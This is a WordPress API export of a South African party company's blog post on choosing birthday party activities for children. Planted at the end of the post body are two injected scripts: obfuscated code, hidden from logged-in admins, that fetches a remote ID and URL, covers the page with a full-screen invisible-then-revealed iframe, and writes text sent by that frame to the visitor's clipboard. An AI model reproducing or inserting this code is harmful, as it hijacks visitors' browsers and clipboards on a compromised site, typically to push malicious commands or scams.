{"id":638,"date":"2018-05-15T09:12:24","date_gmt":"2018-05-15T09:12:24","guid":{"rendered":"http:\/\/aaparty.co.za\/?p=638"},"modified":"2026-05-22T18:37:16","modified_gmt":"2026-05-22T18:37:16","slug":"activities-for-birthday-parties","status":"publish","type":"post","link":"https:\/\/aaparty.co.za\/index.php\/2018\/05\/15\/activities-for-birthday-parties\/","title":{"rendered":"Activities for Birthday Parties"},"content":{"rendered":"<h1>Activities for Birthday Parties<\/h1>\n<p>Activities for Birthday Parties can be difficult to decide on. Firstly because there is so much to choose from. Then, you as the parent or party planner need to be able to gauge whether or not the kids at the party will enjoy and participate in the activities that you plan or arrange for them.&nbsp;<\/p>\n<figure id=\"attachment_642\" aria-describedby=\"caption-attachment-642\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-642\" src=\"http:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-300x200.jpg\" alt=\"Activities for Birthday Parties\" width=\"300\" height=\"200\" srcset=\"https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-300x200.jpg 300w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-350x233.jpg 350w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-768x512.jpg 768w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties.jpg 1024w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-600x400.jpg 600w, https:\/\/aaparty.co.za\/wp-content\/uploads\/2018\/05\/Activities-for-Birthday-Parties-240x160.jpg 240w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption id=\"caption-attachment-642\" class=\"wp-caption-text\">Activities for Birthday Parties<\/figcaption><\/figure>\n<h2>How to choose an activity?<\/h2>\n<p>When choosing an activity for your child&#8217;s birthday party. Your child should, of course, be your number one consideration. No one knows your child better than you. Think about what they like and the younger a child is, what they like at the moment&#8230; With so many entertainment options, TV shows and influences in our young children&#8217;s lives. If you start planning too early, they could be bored of a particular theme by the time the party comes. So, bare this in mind when planning the party and the activities you intend doing.<\/p>\n<p>The next factor to look at is, does your child prefer small groups of friends or is he or she in their element&nbsp;when the whole class, all their family and friends etc are around them. The number of children you intend on having at the party will influence your decision on what activities you will be able to do.<\/p>\n<p>Give some thought as to what your child would enjoy the most before you start planning. This will go a long way in making the party planning process easier for you.<\/p>\n<h2>Types of Activities for Birthday Parties<\/h2>\n<p>The way we see it, activities for birthday parties can be broken down into the following categories. <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">Parties for boys<\/a>. Parties for Girls. <a href=\"http:\/\/aaparty.co.za\/index.php\/minute-to-win-it-party\/\">Indoor Activities<\/a>. <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">Outdoor Activities<\/a>. Active or passive activities&#8230;<\/p>\n<h2>Party Activities for Boys<\/h2>\n<p>We have a wide range of party activities for boys. <a href=\"http:\/\/aaparty.co.za\/index.php\/army-party\/\">Army<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/survivor-party\/\">Survivor<\/a> and <a href=\"http:\/\/aaparty.co.za\/index.php\/nerf-gun-party\/\">Nerf Gun Parties<\/a> are probably our 3 most popular boys party activities. These parties involve high impact action, loads of action and running around. They are very suitable for boys aged 6 years and older.<\/p>\n<p><a href=\"http:\/\/aaparty.co.za\/index.php\/nerf-gun-party\/\">Nerf Gun Parties<\/a>&nbsp;have replaced the paintball parties that we used to offer. Unfortunately, the high cost of a portable paintball setup became prohibitive in comparison to going to a dedicated paintball venue. <a href=\"http:\/\/www.battlezone.co.za\/\">Battlezone<\/a> in Bryanston is probably one of the most popular paintball party venues in the North of Johannesburg. <a href=\"https:\/\/field19paintball.co.za\/\">Field 19,<\/a>&nbsp;<a href=\"https:\/\/woodspaintball.co.za\/\">The Woods<\/a> and <a href=\"http:\/\/riverraiders.co.za\/\">River Raiders<\/a>&nbsp;are also good paintball ranges in the North of Johannesburg. In Pretoria, you can have a look at <a href=\"http:\/\/www.gotchapaintball.co.za\/\">Gotcha Paintball Range,<\/a>&nbsp;<a href=\"http:\/\/www.proballpaintball.co.za\/\">Proball Paintball<\/a>, and <a href=\"http:\/\/www.awolpaintball.co.za\/\">AWOL Paintball.<\/a><\/p>\n<p>Sports themes are always a hit. We offer&nbsp;<a href=\"http:\/\/aaparty.co.za\/index.php\/soccer-party\/\">Soccer<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/rugby-party\/\">Rugby<\/a> and <a href=\"http:\/\/aaparty.co.za\/index.php\/cricket-party\/\">Cricket<\/a> parties and can also do a combination of these sports in a single party. Instead of just playing a match of the various sports. We have developed a range of fun and exciting games and activities using skills from the various sports. By doing this, even the children that are not necessarily fanatical about the sport in question will still have a great time at the party.&nbsp;<\/p>\n<h2>Parties for Girls<\/h2>\n<p>if your daughter is a girly girl and pampering is her thing, then a pamper party for her and her besties by <a href=\"http:\/\/yourpamperparty.co.za\/\">Your Pamper Party<\/a>&nbsp;is a great option. <a href=\"https:\/\/www.pamperpartys.co.za\/\">Pamper Parties<\/a>&nbsp;and <a href=\"http:\/\/www.pampergirlz.co.za\/\">Pamper Girlz<\/a>&nbsp;are two other service providers in this arena that you may wish to have a look at.<\/p>\n<p>Not all girls want their nails painted and a facial for their party though. Some just want to have some good old-fashioned fun. We have found that our <a href=\"http:\/\/aaparty.co.za\/index.php\/minute-to-win-it-party\/\">Minute to Win it<\/a>, <a href=\"http:\/\/aaparty.co.za\/index.php\/fear-factor-party\/\">Fear Factor<\/a> and <a href=\"http:\/\/aaparty.co.za\/index.php\/amazing-race-party\/\">Amazing Race<\/a> parties are the most popular themes for girls parties among our range of parties. These parties are engaging and fun for all girls aged 8 and upwards. The boys in the class that may attend the party will also not be alienated by these themes. Unisex in nature these party activities will ensure that all the kids at the party will have a great time!<\/p>\n<p>Indoor vs Outdoor<\/p>\n<p>If you are looking for an indoor party venue, <a href=\"https:\/\/www.bounceinc.co.za\/\">BOUNCE Inc<\/a>&nbsp;trampoline park is good fun. We have such great weather in this beautiful country of ours. As a result, we believe that outdoor &#8220;fun in the sun parties&#8221;,&nbsp;are the best. All of our <a href=\"http:\/\/aaparty.co.za\/index.php\/themed-action-parties\/\">themed action parties<\/a>&nbsp;can be done outdoors. In the event of bad weather on the day of your party. Our highly flexible facilitators will be able to entertain your children indoors with a range of activities that are more passive but still great fun. Classic party games like musical statues, eating a chocolate slab with a knife and fork, and fun games from our <a href=\"http:\/\/aaparty.co.za\/index.php\/minute-to-win-it-party\/\">Minute to Win it<\/a> party, all work well in a garage, on a patio or in your lounge.<\/p>\n<h2>Amount of Action<\/h2>\n<p>The amount of action you have at the party is a personal choice. Themes such as our <a href=\"http:\/\/aaparty.co.za\/index.php\/amazing-race-party\/\">Amazing Race<\/a> and <a href=\"http:\/\/aaparty.co.za\/index.php\/minute-to-win-it-party\/\">Minute to Win it<\/a>&nbsp;involve some more passive elements such as puzzle building, code-breaking and counting exercises. It is our experience though that the more action there is the better. We can come in and help purge some of the energy that all that sugar generates from &#8220;standard party fair&#8221; available at the sweets table. Please <a href=\"http:\/\/aaparty.co.za\/index.php\/contact\/\">Contact Us<\/a>&nbsp;and we will show you how we can make your child&#8217;s next party, their best one ever!<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Activities for Birthday Parties Activities for Birthday Parties can be difficult to decide on. Firstly because there is so much to choose from. Then, you as the parent or party planner need to be able to gauge whether or not the kids at the party will enjoy and participate in the activities that you plan &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/aaparty.co.za\/index.php\/2018\/05\/15\/activities-for-birthday-parties\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Activities for Birthday Parties&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"ngg_post_thumbnail":0,"footnotes":""},"categories":[52],"tags":[],"class_list":["post-638","post","type-post","status-publish","format-standard","hentry","category-activities-for-birthday-parties"],"_links":{"self":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/comments?post=638"}],"version-history":[{"count":6,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/638\/revisions"}],"predecessor-version":[{"id":16291,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/posts\/638\/revisions\/16291"}],"wp:attachment":[{"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/media?parent=638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/categories?post=638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aaparty.co.za\/index.php\/wp-json\/wp\/v2\/tags?post=638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}